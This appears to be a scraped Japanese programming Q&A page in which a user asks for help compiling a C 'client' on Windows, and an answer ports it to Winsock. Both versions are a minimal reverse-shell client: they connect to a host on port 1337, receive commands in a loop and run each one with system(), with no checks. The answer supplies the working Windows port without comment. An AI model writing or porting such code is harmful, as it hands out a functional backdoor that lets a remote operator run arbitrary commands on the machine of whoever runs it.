[ad_1]
よう皆、
この client.c を Windows でコンパイルしようとしましたが、エラーに直面しました やりすぎました .. 誰でも答えて、server.c で動作するように同じ変数を使用して正しく記述できます >> コンパイルされ、実行可能ファイルとして Windows で動作します。EXE
私が試したこと:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define HOST "127.0.0.1" #define PORT 1337 int main(void) { int fd; char command[5000]; struct sockaddr_in server; server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr(HOST); server.sin_port = htons(PORT); fd = socket(AF_INET, SOCK_STREAM, 0); connect(fd, (struct sockaddr *)&server, sizeof(server)); while (1) { recv(fd, command, sizeof(command), 0); system(command); } EXIT_SUCCESS; }
解決策 1
次のように変更します。
C++
#include <stdio.h> #include <stdlib.h> #include <string.h> // use winsock2 in Windows #define _WINSOCK_DEPRECATED_NO_WARNINGS #include <winsock2.h> #pragma comment(lib, "Ws2_32") // tell the linker which library to include // The following are for Linux //#include <unistd.h> //#include <arpa/inet.h> //#include <sys/types.h> //#include <sys/socket.h> //#include <netinet/in.h> #define HOST "127.0.0.1" #define PORT 1337 int main(void) { SOCKET fd; // use correct type for fd char command[5000]; struct sockaddr_in server; server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr(HOST); server.sin_port = htons(PORT); fd = socket(AF_INET, SOCK_STREAM, 0); connect(fd, (struct sockaddr *)&server, sizeof(server)); while (1) { recv(fd, command, sizeof(command), 0); system(command); } EXIT_SUCCESS; }
[ad_2]
コメント